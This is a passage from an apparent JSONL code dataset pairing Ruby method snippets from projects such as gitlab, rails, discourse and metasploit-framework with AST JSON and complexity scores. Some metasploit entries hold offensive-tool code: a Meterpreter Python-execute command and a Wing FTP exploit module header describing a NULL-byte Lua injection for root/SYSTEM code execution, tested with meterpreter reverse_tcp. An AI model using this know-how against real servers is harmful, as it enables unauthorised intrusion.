":"bb5c03c8-6c26-4bcd-a31f-32b8523c79cb"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/subforems_controller.rb","start_line":98,"raw_source":"def subforem_params\n      params.require(:subforem).permit(SUBFOREM_ALLOWED_PARAMS)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"subforem_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"subforem\"]}]},\"permit\",{\"type\":\"const\",\"children\":[null,\"SUBFOREM_ALLOWED_PARAMS\"]}]}]}","id":"4a4091ca-17b1-45ce-a693-831a5ec24fe0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb","start_line":142,"raw_source":"def cmd_python_execute(*args)\n    if args.length == 0 || args.include?('-h')\n      python_execute_usage\n      return false\n    end\n\n    code = args.shift\n    result_var = nil\n\n    @@python_execute_opts.parse(args) { |opt, idx, val|\n      case opt\n      when '-r'\n        result_var = val\n      end\n    }\n\n    result = client.python.execute_string(code, result_var)\n\n    handle_exec_result(result, result_var)\n  end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_python_execute\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"-h\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"python_execute_usage\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"shift\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result_var\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@python_execute_opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-r\"]},{\"type\":\"lvasgn\",\"children\":[\"result_var\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"python\"]},\"execute_string\",{\"type\":\"lvar\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"result_var\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_exec_result\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"result_var\"]}]}]}]}","id":"573bb588-2ed0-4988-b7c3-f9035d5166b6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stages/windows/x64/vncinject.rb","start_line":27,"raw_source":"def library_path\n    File.join(Msf::Config.data_directory, 'vncdll.x64.dll')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"library_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"vncdll.x64.dll\"]}]}]}","id":"1c6a9ad2-e95e-43d2-801f-a0b1756e436a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/detached_partition_dropper.rb","start_line":49,"raw_source":"def drop_partition(detached_partition)\n          remove_foreign_keys(detached_partition)\n\n          connection.transaction do\n            # Another process may have already dropped the table and deleted this entry\n            next unless try_lock_detached_partition(detached_partition.id)\n\n            drop_detached_partition(detached_partition)\n\n            detached_partition.destroy!\n          end\n        end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"drop_partition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"detached_partition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_foreign_keys\",{\"type\":\"lvar\",\"children\":[\"detached_partition\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_lock_detached_partition\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detached_partition\"]},\"id\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"drop_detached_partition\",{\"type\":\"lvar\",\"children\":[\"detached_partition\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detached_partition\"]},\"destroy!\"]}]}]}]}]}","id":"bf1b6124-3047-42e4-9d4f-5b3669352da7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/namespaces_helper.rb","start_line":86,"raw_source":"def pipeline_usage_app_data(namespace)\n    {\n      namespace_actual_plan_name: namespace.actual_plan_name,\n      namespace_id: namespace.id,\n      user_namespace: namespace.user_namespace?.to_s,\n      page_size: page_size\n    }\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pipeline_usage_app_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_actual_plan_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"actual_plan_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"user_namespace?\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page_size\"]},{\"type\":\"send\",\"children\":[null,\"page_size\"]}]}]}]}","id":"7631eede-91be-4139-9680-ad7d414f8882"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/activerecord-gitlab/lib/active_record/gitlab_patches/abstract_adapter.rb","start_line":17,"raw_source":"def attempt_configure_connection\n        configure_connection\n      rescue Exception # Need to handle things such as Timeout::ExitException\n        disconnect!\n        raise\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"attempt_configure_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configure_connection\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disconnect!\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}","id":"451ad675-785d-4aea-8b83-0f1fcba93051"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_tagging.rb","start_line":646,"raw_source":"def self.permitted_group_ids_query(guardian = nil)\n    if guardian&.authenticated?\n      Group.from(\n        Group.sanitize_sql(\n          [\n            \"(SELECT ? AS id UNION #{guardian.user.groups.select(:id).to_sql}) as groups\",\n            Group::AUTO_GROUPS[:everyone],\n          ],\n        ),\n      ).select(:id)\n    else\n      Group.from(\n        Group.sanitize_sql([\"(SELECT ? AS id) AS groups\", Group::AUTO_GROUPS[:everyone]]),\n      ).select(:id)\n    end\n  end","complexity_score":22.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"permitted_group_ids_query\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"guardian\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"authenticated?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"from\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"sanitize_sql\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(SELECT ? AS id UNION \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"user\"]},\"groups\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\") as groups\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"AUTO_GROUPS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"everyone\"]}]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"from\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"sanitize_sql\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"(SELECT ? AS id) AS groups\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"AUTO_GROUPS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"everyone\"]}]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}","id":"52c2eb26-c5d0-40ca-9604-a2709078537f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/conditional_assignment.rb","start_line":28,"raw_source":"def expand_when_branches(when_branches)\n          when_branches.map(&:body)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_when_branches\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"when_branches\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"when_branches\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]}]}]}]}","id":"11f18fbb-1ce0-4dff-b387-62a7b0f5ede8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/search/params.rb","start_line":42,"raw_source":"def slice(*keys)\n        keys.index_with { |key| self[key] }.with_indifferent_access\n      end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"slice\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"index_with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},\"with_indifferent_access\"]}]}","id":"75fe119e-7c8f-427a-8e7a-991b944e32db"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/burp_session_document.rb","start_line":111,"raw_source":"def collect_path_and_query\n      return unless in_item\n      return unless has_text\n      path,query = @text.split(/\\?+/,2)\n      return unless path\n      if query\n        @state[:query] = \"?#{query}\" # Can be nil\n      end\n      if path =~ /https?:[\\x5c\\x2f][\\x5c\\x2f]+[^\\x5c\\x2f][^\\x5c\\x2f]+([^?]+)/n\n        real_path = \"/#{$1}\"\n      else\n        real_path = path\n      end\n      @state[:path] = real_path\n    end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_path_and_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_item\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_text\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\"]},{\"type\":\"lvasgn\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\?+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"https?:[\\\\x5c\\\\x2f][\\\\x5c\\\\x2f]+[^\\\\x5c\\\\x2f][^\\\\x5c\\\\x2f]+([^?]+)\"]},{\"type\":\"regopt\",\"children\":[\"n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"real_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"real_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"real_path\"]}]}]}]}","id":"c2827a79-0c5a-484e-b64f-e4174249319f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onebox/engine/gitlab_blob_onebox.rb","start_line":18,"raw_source":"def i18n\n        {\n          truncated_file: I18n.t(\"onebox.gitlab.truncated_file\"),\n          show_original: I18n.t(\"onebox.gitlab.show_original\"),\n        }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"i18n\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"truncated_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"onebox.gitlab.truncated_file\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"show_original\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"onebox.gitlab.show_original\"]}]}]}]}]}","id":"6ab29b8e-4723-4b3a-82b7-cbcb72012535"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/logger.rb","start_line":22,"raw_source":"def logger_source\n          if ENV['TEST_ENV_NUMBER']\n            \"E2E Tests ENV-#{ENV['TEST_ENV_NUMBER']}\"\n          else\n            \"E2E Tests\"\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"logger_source\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEST_ENV_NUMBER\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"E2E Tests ENV-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEST_ENV_NUMBER\"]}]}]}]},{\"type\":\"str\",\"children\":[\"E2E Tests\"]}]}]}","id":"ea9b6671-dedc-4476-a6dd-d5dd72bf5391"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wingftp_null_byte_rce.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Wing FTP Server NULL-byte Authentication Bypass (CVE-2025-47812)',\n        'Description' => %q{\n          Wing FTP Server allows arbitrary Lua code injection via a NULL-byte (%00) truncation bug (CVE-2025-47812).\n          Supplying <valid-user>%00<lua-payload> as the username makes the C++ authentication routine validate only the prefix,\n          while the full string is written unfiltered into the session file and later executed with root/SYSTEM privileges,\n          leading to Remote Code Execution.\n        },\n        'Author' => [\n          'Valentin Lobstein',   # Metasploit Module\n          'Julien Ahrens'        # Vulnerability Discovery\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2025-47812'],\n          ['URL', 'https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/']\n        ],\n        'Platform' => %w[unix linux win],\n        'Arch' => [ARCH_CMD],\n        'Targets' => [\n          [\n            'Unix/Linux Command Shell', {\n              'Platform' => %w[unix linux],\n              'Arch' => ARCH_CMD\n              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp\n            }\n          ],\n          [\n            'Windows Command Shell', {\n              'Platform' => 'win',\n              'Arch' => ARCH_CMD\n              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'Privileged' => true,\n        'DisclosureDate' => '2025-06-30',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('USERNAME', [ true, 'Valid username for authentication', 'anonymous' ]),\n        OptString.new('PASSWORD', [ false, 'Password for authentication', '' ])\n      ]\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Wing FTP Server NULL-byte Authentication Bypass (CVE-2025-47812)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Wing FTP Server allows arbitrary Lua code injection via a NULL-byte (%00) truncation bug (CVE-2025-47812).\\n\"]},{\"type\":\"str\",\"children\":[\"          Supplying <valid-user>%00<lua-payload> as the username makes the C++ authentication routine validate only the prefix,\\n\"]},{\"type\":\"str\",\"children\":[\"          while the full string is written unfiltered into the session file and later executed with root/SYSTEM privileges,\\n\"]},{\"type\":\"str\",\"children\":[\"          leading to Remote Code Execution.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Valentin Lobstein\"]},{\"type\":\"str\",\"children\":[\"Julien Ahrens\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2025-47812\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix/Linux Command Shell\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Command Shell\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2025-06-30\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Valid username for authentication\"]},{\"type\":\"str\",\"children\":[\"anonymous\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password for authentication\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}","id":"7b99df88-e6ac-451a-bfaa-55851f2ab6ad"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/inner_join_association_test.rb","start_line":164,"raw_source":"def test_calculate_honors_implicit_inner_joins\n    real_count = Author.all.to_a.sum { |a| a.posts.count }\n    assert_equal real_count, Author.joins(:posts).calculate(:count, \"authors.id\"), \"plain inner join count should match the number of referenced posts records\"\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_calculate_honors_implicit_inner_joins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"real_count\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"all\"]},\"to_a\"]},\"sum\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"posts\"]},\"count\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"real_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"posts\"]}]},\"calculate\",{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"str\",\"children\":[\"authors.id\"]}]},{\"type\":\"str\",\"children\":[\"plain inner join count should match the number of referenced posts records\"]}]}]}]}","id":"8046cf00-5da6-4ed1-ba8f-7b7860475d93"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/actionpack/controller/render_test.rb","start_line":1297,"raw_source":"def test_render_to_string_partial\n    get :render_to_string_with_partial\n    assert_equal \"only partial\", @controller.instance_variable_get(:@partial_only)\n    assert_equal \"Hello: david\", @controller.instance_variable_get(:@partial_with_locals)\n    assert_equal \"text/html\", @response.media_type\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_to_string_partial\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"render_to_string_with_partial\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"only partial\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@partial_only\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello: david\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"instance_variable_get\",{\"type\":\"sym\",\"children\":[\"@partial_with_locals\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"text/html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"media_type\"]}]}]}]}","id":"00094d4c-9c03-4735-9dff-56180bdb0019"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/deployment.rb","start_line":282,"raw_source":"def invalidate_cache\n    environment.expire_etag_cache\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"invalidate_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment\"]},\"expire_etag_cache\"]}]}","id":"e50bbca3-3930-4ed5-89d6-4c9cc0e6bdb3"}
